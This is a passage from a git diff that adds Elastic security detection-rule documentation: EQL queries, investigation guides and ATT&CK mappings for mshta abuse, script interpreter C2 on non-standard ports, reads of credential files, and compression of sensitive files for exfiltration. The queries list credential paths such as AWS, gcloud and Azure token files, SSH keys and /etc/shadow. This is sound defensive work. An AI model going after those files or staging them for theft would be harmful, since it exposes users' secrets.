>=2) or + + /* Execution of HTA file downloaded from the internet */ + (process.name : "mshta.exe" and process.command_line : "*\\Users\\*\\Downloads\\*.hta*") or + + /* Execution of HTA file from archive */ + (process.name : "mshta.exe" and + process.args : ("?:\\Users\\*\\Temp\\7z*", "?:\\Users\\*\\Temp\\Rar$*", "?:\\Users\\*\\Temp\\Temp?_*", "?:\\Users\\*\\Temp\\BNZ.*")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-interpreter-connection-to-non-standard-port.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-interpreter-connection-to-non-standard-port.asciidoc new file mode 100644 index 0000000000..b6a4695926 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-script-interpreter-connection-to-non-standard-port.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-script-interpreter-connection-to-non-standard-port]] +=== Script Interpreter Connection to Non-Standard Port + +Detects the execution of a script interpreter followed by an outbound network connection to a raw IP address on a non-standard port. Many initial access scripts and malware implants connect directly to C2 or payload servers using non-standard ports to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/blackorbird/APT_REPORT/blob/master/lazarus/2024-10-14%20Lazarus%20InvisibleFerret.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Script Interpreter Connection to Non-Standard Port* + + +This rule detects a macOS script interpreter launch (Python, Node, or Ruby) quickly followed by an outbound connection to a raw IP address over a non-standard port. It matters because implants and initial access scripts often bypass domain-based controls and blend into developer tooling while using unusual ports for C2. A common pattern is a one-liner Python or Node stager that beacons directly to an external IP on a high-but-not-ephemeral port (e.g., 4444/8081) to fetch or execute a second stage. + + +*Possible investigation steps* + + +- Review the interpreter’s full command line, parent/ancestry, execution path, and working directory to determine whether this was an interactive developer action, a scheduled task, or a hidden launcher. +- Identify the script/module being executed (including any temp paths or inline code), collect it for analysis, and check for obfuscation, encoded payloads, or remote-fetch logic. +- Pivot on the destination IP and port to assess reputation, hosting/ASN, geolocation, and whether the host has contacted the same endpoint before or other endpoints on the same unusual port. +- Correlate around the event time for follow-on activity such as file downloads, new processes, credential access attempts, persistence creation (LaunchAgents/LaunchDaemons), or security tool tampering. +- Validate the initiating user context and host posture (new user/login, recent software installs, unsigned binaries, quarantine attributes, or MDM exceptions) to decide on containment and scoping to peer endpoints. + + +*False positive analysis* + + +- A developer runs a short Python/Node/Ruby script with a single argument to test a service by connecting directly to a public IP on an application-specific port (e.g., staging APIs, custom web services, or test listeners), resulting in a raw-IP outbound connection outside common ports. +- An administrative or diagnostic script (e.g., a quick health check or connectivity probe) executed via an interpreter uses an IP literal for reliability and targets a non-standard port for internal tooling exposed to the internet, producing the same interpreter-to-raw-IP network pattern without malicious intent. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network (or block only the observed destination IP:port at the firewall) and terminate the Python/Node/Ruby process that initiated the outbound raw-IP connection. +- Acquire volatile and on-disk artifacts including the interpreter command line, referenced script file, current working directory contents, recent downloads, and any temporary directories used at execution time, then submit the script and any fetched payloads for malware analysis. +- Hunt for persistence and re-infection by checking for new or modified LaunchAgents/LaunchDaemons, cron entries, login items, and recently added executable files, and remove/rollback any items tied to the interpreter or the suspicious IP:port. +- Reset potentially impacted credentials and revoke active tokens for the initiating user if the script accessed keychain material, SSH keys, browser sessions, or cloud CLIs near the event time. +- Restore the endpoint from a known-good snapshot or reimage if the script/payload cannot be confidently eradicated, then validate recovery by confirming no further connections to the same IP:port and no recurrence of the interpreter one-liner. +- Escalate to IR leadership and initiate broader scoping if multiple hosts contact the same external IP:port, the destination is confirmed malicious, or persistence/credential theft is detected, and harden by restricting script interpreter execution via MDM, enforcing full disk access controls, and adding egress allow-listing for non-standard ports. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.name like~ "python*" or process.name in ("node", "ruby")) and + process.args_count == 2] + [network where host.os.type == "macos" and event.type == "start" and + (process.name like~ "python*" or process.name in ("node", "ruby")) and + destination.domain == null and + not destination.port in (443, 80, 53, 22, 25, 587, 465, 8080, 8089, 8200, 9200) and + destination.port < 49152 and + not cidrmatch(destination.ip, "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", + "192.18.0.0/15", "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", + "172.16.0.0/12", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-security-file-access-via-common-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-security-file-access-via-common-utilities.asciidoc new file mode 100644 index 0000000000..ff4d4b2728 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-security-file-access-via-common-utilities.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-security-file-access-via-common-utilities]] +=== Security File Access via Common Utilities + +This rule detects sensitive security file access via common utilities on Linux systems. Adversaries may attempt to read from sensitive files using common utilities to gather information about the system and its security configuration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Security File Access via Common Utilities* + + +In Linux environments, common utilities like `cat`, `grep`, and `less` are essential for file manipulation and viewing. Adversaries exploit these tools to access sensitive security files, aiming to gather system and security configuration data. The detection rule identifies suspicious use of these utilities by monitoring process execution patterns and arguments, flagging attempts to access critical security files, thus helping to thwart potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific utility used (e.g., cat, grep, less) and the exact file path accessed, as indicated by the process.name and process.args fields. +- Check the user account associated with the process execution to determine if the access was performed by a legitimate user or a potentially compromised account. +- Investigate the timing and frequency of the access attempt to assess whether it aligns with normal user behavior or indicates suspicious activity. +- Correlate the alert with other security events or logs from the same host to identify any preceding or subsequent suspicious activities, such as unauthorized logins or privilege escalation attempts. +- Examine the host's recent changes or updates to security configurations or user permissions that might explain the access attempt. +- If possible, contact the user or system owner to verify whether the access was intentional and authorized, providing additional context for the investigation. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently access security files for legitimate maintenance or configuration purposes. To handle this, create exceptions for known administrative accounts or specific scripts that regularly perform these actions. +- Security monitoring tools or compliance checks might trigger the rule when scanning security files. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Backup processes that involve copying or reading security files can be mistaken for suspicious activity. Exclude backup software processes or scheduled tasks that are known to perform these operations. +- Developers or DevOps personnel accessing configuration files for application deployment or troubleshooting might trigger the rule. Establish a list of trusted users or roles and exclude their access patterns from detection. +- Regular system updates or package management operations may involve accessing security-related files. Recognize these update processes and exclude them to avoid false positives during routine maintenance. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule to halt potential reconnaissance activities. +- Conduct a thorough review of the accessed files to determine if any sensitive information was exposed or altered. +- Change credentials and access tokens for any compromised accounts, especially those related to AWS, GCP, or Azure, to prevent unauthorized access. +- Implement stricter access controls and permissions on sensitive security files to limit exposure to only necessary users and processes. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader network. +- Enhance monitoring and logging for similar activities to improve detection and response times for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("cat", "less", "more", "strings", "find", "xargs") and +process.parent.executable != null and +process.args like ( + "/etc/security/*", "/etc/pam.d/*", "/etc/login.defs", "/lib/security/*", "/lib64/security/*", + "/usr/lib/security/*", "/usr/lib64/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/home/*/.aws/credentials", "/home/*/.aws/config", "/home/*/.config/gcloud/*credentials.json", + "/home/*/.config/gcloud/configurations/config_default", "/home/*/.azure/accessTokens.json", + "/home/*/.azure/azureProfile.json" +) and not ( + process.parent.name in ("wazuh-modulesd", "lynis") or + process.command_line in ("cat /etc/login.defs" , "cat /home/asterisk/.aws/credentials") or + ?process.parent.command_line in ( + "/bin/sh /usr/sbin/lynis audit system --cronjob", + "/usr/bin/find -L /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;", + "/usr/bin/find /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;" + ) or + ?process.parent.args in ("/opt/imperva/ragent/bin/get_sys_resources.sh", "/usr/sbin/lynis", "./terra_linux.sh") or + process.args == "/usr/bin/coreutils" or + (process.parent.name == "pwsh" and process.parent.command_line like "*Evaluate-STIG*") or + ?process.parent.executable == "/usr/sap/audit_scripts/auto_audit_gral.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-file-access-followed-by-compression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-file-access-followed-by-compression.asciidoc new file mode 100644 index 0000000000..ddf2af06cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-file-access-followed-by-compression.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-20-sensitive-file-access-followed-by-compression]] +=== Sensitive File Access followed by Compression + +Detects when a sensitive file is accessed followed by the immediate creation of a compressed file in a suspicious location. This activity can indicate an attempt to collect sensitive local data and stage it for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive File Access followed by Compression* + + +Data exfiltration is a critical phase of many attack campaigns where threat actors collect and stage sensitive data for transfer out of the environment. On macOS, attackers commonly target high-value files such as SSH keys, AWS credentials, browser cookies, and login keychains. This detection rule identifies a behavioral pattern where a process accesses sensitive files and subsequently creates compressed archives, which is a hallmark of data staging activity prior to exfiltration. + + +*Possible investigation steps* + + +- Review the process.entity_id and process.name fields to identify the application that accessed sensitive files and created the compressed archive. +- Examine the file.path fields in both events to determine which specific sensitive files were accessed and where the archive was created. +- Analyze the process.parent.executable and process.command_line to understand how the process was launched and whether it originated from a suspicious source. +- Check for network connection events from the same process or host shortly after the compression activity, as this may indicate attempted exfiltration. +- Investigate the user.name associated with the activity to determine if the behavior is consistent with their role and normal operations. +- Review the destination path of the compressed file to assess whether it was placed in a location commonly used for staging, such as /Users/Shared or temporary directories. +- Correlate with other security alerts on the same host to identify if this is part of a broader attack chain. + + +*False positive analysis* + + +- Legitimate backup applications may access sensitive files and create compressed archives as part of scheduled backup operations. Verify the process against known backup tools like Time Machine or third-party backup solutions. +- System administrators performing manual archiving of configuration files or credentials for secure storage may trigger this rule. Confirm with IT operations if such activities were planned. +- Development workflows may involve compressing SSH keys or credentials for transfer between development environments. Review with development teams before escalating. +- Some applications may legitimately compress browser data or credentials during migrations or exports. Verify the application's purpose and user intent. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent any pending data exfiltration. +- Identify and quarantine the compressed archive file to prevent it from being transferred or deleted by the attacker. +- Conduct a thorough review of the files that were accessed and compressed to assess the scope of potential data exposure. +- Rotate all credentials that may have been compromised, including SSH keys, AWS access keys, API tokens, and any passwords stored in keychains or browsers. +- Perform a forensic analysis of the system to identify the initial access vector and any persistence mechanisms. +- Review network logs and proxy data to determine if any data was successfully exfiltrated prior to detection. +- Escalate to the incident response team for further investigation if the activity appears to be part of a coordinated attack campaign. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [file where host.os.type == "macos" and event.action == "open" and + not file.name in~ ("System.keychain", "login.keychain-db", "preferences.plist", "com.apple.TimeMachine.plist")] + [file where host.os.type == "macos" and event.action == "modification" and + file.extension in ("zip", "gzip", "gz") and + file.path like~ ("/Users/Shared/*", "/Library/WebServer/*", "/Users/*/Library/WebServer/*", + "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", + "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + not file.path like~ ("/Library/Logs/CrashReporter/*", "/private/tmp/publish.*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression-inside-a-container.asciidoc new file mode 100644 index 0000000000..a0253481b0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression-inside-a-container.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-sensitive-files-compression-inside-a-container]] +=== Sensitive Files Compression Inside A Container + +Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations inside a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Files Compression Inside A Container* + + +Containers are lightweight, portable environments used to run applications consistently across different systems. Adversaries may exploit compression utilities within containers to gather and exfiltrate sensitive files, such as credentials and configuration files. The detection rule identifies suspicious compression activities by monitoring for specific utilities and file paths, flagging potential unauthorized data collection attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of compression utilities such as zip, tar, gzip, hdiutil, or 7z within the container environment, focusing on the process.name and process.args fields. +- Examine the specific file paths listed in the process.args to determine if they include sensitive files like SSH keys, AWS credentials, or Docker configurations, which could indicate unauthorized data collection. +- Check the event.type field for "start" to verify the timing of the process initiation and correlate it with any known legitimate activities or scheduled tasks within the container. +- Investigate the user or service account under which the process was executed to assess whether it has the necessary permissions and if the activity aligns with expected behavior for that account. +- Look for any related alerts or logs that might indicate a broader pattern of suspicious activity within the same container or across other containers in the environment. + + +*False positive analysis* + + +- Routine backup operations may trigger the rule if they involve compressing sensitive files for storage. To handle this, identify and exclude backup processes or scripts that are known and trusted. +- Automated configuration management tools might compress configuration files as part of their normal operation. Exclude these tools by specifying their process names or paths in the exception list. +- Developers or system administrators might compress sensitive files during legitimate troubleshooting or maintenance activities. Establish a process to log and review these activities, and exclude them if they are verified as non-threatening. +- Continuous integration and deployment pipelines could involve compressing configuration files for deployment purposes. Identify these pipelines and exclude their associated processes to prevent false positives. +- Security tools that perform regular audits or scans might compress files for analysis. Ensure these tools are recognized and excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further data exfiltration or unauthorized access. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the compressed files and their contents to assess the extent of sensitive data exposure. Focus on the specific file paths identified in the alert. +- Change credentials and keys that may have been compromised, including SSH keys, AWS credentials, and Docker configurations. Ensure that new credentials are distributed securely. +- Review and update access controls and permissions for sensitive files within containers to minimize exposure. Ensure that only necessary processes and users have access to these files. +- Implement monitoring and alerting for similar compression activities in other containers to detect potential threats early. Use the identified process names and arguments as indicators. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. +- Conduct a post-incident review to identify gaps in security controls and update container security policies to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ("zip", "tar", "gzip", "hdiutil", "7z") and +process.command_line like~ ( + "*/root/.ssh/*", "*/home/*/.ssh/*", "*/root/.bash_history*", "*/etc/hosts*", "*/root/.aws/*", "*/home/*/.aws/*", + "*/root/.docker/*", "*/home/*/.docker/*", "*/etc/group*", "*/etc/passwd*", "*/etc/shadow*", "*/etc/gshadow*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression.asciidoc new file mode 100644 index 0000000000..02dff3805f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-sensitive-files-compression.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-20-sensitive-files-compression]] +=== Sensitive Files Compression + +Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_ca/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Sensitive Files Compression* + + +Compression utilities like zip, tar, and gzip are essential for efficiently managing and transferring files. However, adversaries can exploit these tools to compress and exfiltrate sensitive data, such as SSH keys and configuration files. The detection rule identifies suspicious compression activities by monitoring process executions involving these utilities and targeting known sensitive file paths, thereby flagging potential data collection and credential access attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the user account associated with the compression activity, focusing on the process.name and process.args fields. +- Examine the command line arguments (process.args) to determine which specific sensitive files were targeted for compression. +- Check the event.timestamp to establish a timeline and correlate with other potentially suspicious activities on the host. +- Investigate the host's recent login history and user activity to identify any unauthorized access attempts or anomalies. +- Analyze network logs for any outbound connections from the host around the time of the event to detect potential data exfiltration attempts. +- Assess the integrity and permissions of the sensitive files involved to determine if they have been altered or accessed inappropriately. + + +*False positive analysis* + + +- Routine system backups or administrative tasks may trigger the rule if they involve compressing sensitive files for legitimate purposes. Users can create exceptions for known backup scripts or administrative processes by excluding specific process names or command-line arguments associated with these tasks. +- Developers or system administrators might compress configuration files during development or deployment processes. To handle this, users can whitelist specific user accounts or directories commonly used for development activities, ensuring these actions are not flagged as suspicious. +- Automated scripts or cron jobs that regularly archive logs or configuration files could be mistakenly identified as threats. Users should review and exclude these scheduled tasks by identifying their unique process identifiers or execution patterns. +- Security tools or monitoring solutions that periodically compress and transfer logs for analysis might be misinterpreted as malicious. Users can exclude these tools by specifying their process names or paths in the detection rule exceptions. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and unauthorized access. +- Terminate any suspicious processes identified by the detection rule to halt ongoing compression and potential data exfiltration activities. +- Conduct a thorough review of the compressed files and their contents to assess the extent of sensitive data exposure and determine if any data has been exfiltrated. +- Change all credentials associated with the compromised files, such as SSH keys and AWS credentials, to prevent unauthorized access using stolen credentials. +- Restore any altered or deleted configuration files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for compression utilities and sensitive file access to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in 